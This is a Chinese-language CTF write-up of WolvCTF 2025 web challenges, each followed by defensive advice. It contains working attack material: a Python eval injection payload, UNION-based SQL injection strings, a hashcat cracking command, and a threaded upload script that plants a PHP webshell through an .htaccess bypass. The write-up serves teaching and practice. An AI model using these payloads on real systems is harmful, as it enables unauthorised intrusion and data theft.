WolvCTF2025(WebAK)
字数 1248 2025-08-29 08:29:58
Python沙箱逃逸与Web安全实战教学
1. Eval is Evil - Python沙箱逃逸
漏洞分析
题目是一个简单的Python沙箱环境,直接拼接用户输入导致远程代码执行(RCE)。
# 题目源码示例
user_input = input("Enter your input: ")
eval("some_function(" + user_input + ")") # 直接拼接导致RCE
利用方法
无需沙箱逃逸,直接构造恶意输入即可执行任意命令:
__import__('os').system('id')
防御措施
- 避免使用
eval()或exec()处理用户输入 - 如需使用沙箱,考虑使用
PyPy沙箱或RestrictedPython - 使用白名单验证输入
2. OverAndOver - Base64多层解码
题目分析
题目提供经过多层Base64编码的字符串,需要连续解码直到原始内容。
解决方案
编写自动解码脚本:
import base64
def decode_recursive(encoded):
while True:
try:
encoded = base64.b64decode(encoded).decode('utf-8')
except:
return encoded
with open('encoded.txt', 'r') as f:
print(decode_recursive(f.read()))
3. DigginDir - 取证分析
题目分析
多个文件中隐藏flag,需要编写脚本批量搜索。
解决方案
import os
def search_flag(directory):
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith('.txt'):
with open(os.path.join(root, file), 'r') as f:
content = f.read()
if 'flag{' in content:
print(f"Found in {os.path.join(root, file)}: {content}")
4. Javascript Puzzle - 错误触发
漏洞分析
通过触发JavaScript错误获取flag,错误类型包括:
SyntaxError:语法错误(解析阶段)TypeError:类型错误ReferenceError:未定义变量RangeError:数值越界URIError:URI处理错误
利用方法
最容易触发错误的方式是对象与字符串拼接:
// 构造一个对象并覆盖toString方法
const obj = {
toString: () => { throw new Error("Trigger error") }
};
// 尝试拼接字符串触发错误
try {
const username = obj;
const test = "Hello " + username;
} catch (e) {
// 获取flag
}
5. Limited系列 - SQL注入
Limited 2 - Limit注入
漏洞分析
高版本MySQL中的Limit注入,传统方法失效。
利用方法
通过修改HTTP参数实现注入:
-- 原始查询
SELECT * FROM users LIMIT [user_input];
-- 注入payload
SELECT * FROM users LIMIT 1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
绕过技巧
- 使用HTTP参数污染
- 利用子查询
- 通过数据包修改参数
Limited 1 - 查询历史获取
解决方案
利用information_schema.processlist查看正在执行的查询(MySQL ≥ 5.7.6):
SELECT * FROM information_schema.processlist WHERE db = DATABASE();
Limited 3 - 密码爆破
题目分析
需要爆破MySQL用户密码,密码哈希在rockyou字典中。
解决方案
- 获取密码哈希:
SELECT password FROM users WHERE username = 'flag';
- 使用hashcat爆破:
hashcat -m 3000 hash.txt rockyou.txt
注意事项
- MySQL 8.0+使用新的哈希算法
- 注意哈希格式转换
6. Art Contest - 文件上传与权限绕过
漏洞分析
- 可上传
.htaccess文件 - 每小时清理上传文件
- 上传后权限被限制
- Apache 2.4.62(无已知漏洞)
利用方法
- 上传恶意
.htaccess:
AddType application/x-httpd-php .txt
-
上传PHP webshell(
.txt扩展名) -
权限绕过技巧:
- 利用
*不匹配.开头文件的特性 - 上传文件名以
.开头(如.shell.php)
条件竞争利用
import requests
import threading
def upload_file(session):
while True:
files = {'file': ('.shell.php', '<?php system($_GET["cmd"]); ?>')}
session.post('http://target/upload', files=files)
# 创建多个线程同时上传
s = requests.Session()
for i in range(10):
threading.Thread(target=upload_file, args=(s,)).start()
最终利用
- 上传webshell
- 执行
get_flag程序:
cd /var/www/html/uploads/session_id/
./get_flag
防御措施总结
-
Python沙箱:
- 使用安全沙箱环境
- 严格限制可用函数
-
SQL注入:
- 使用预编译语句
- 最小权限原则
- 定期更新数据库
-
文件上传:
- 限制上传文件类型
- 随机化文件名
- 存储在非web可访问目录
-
错误处理:
- 自定义错误页面
- 生产环境关闭详细错误
-
权限控制:
- 正确设置文件权限
- 使用专用用户运行服务
- 定期检查权限设置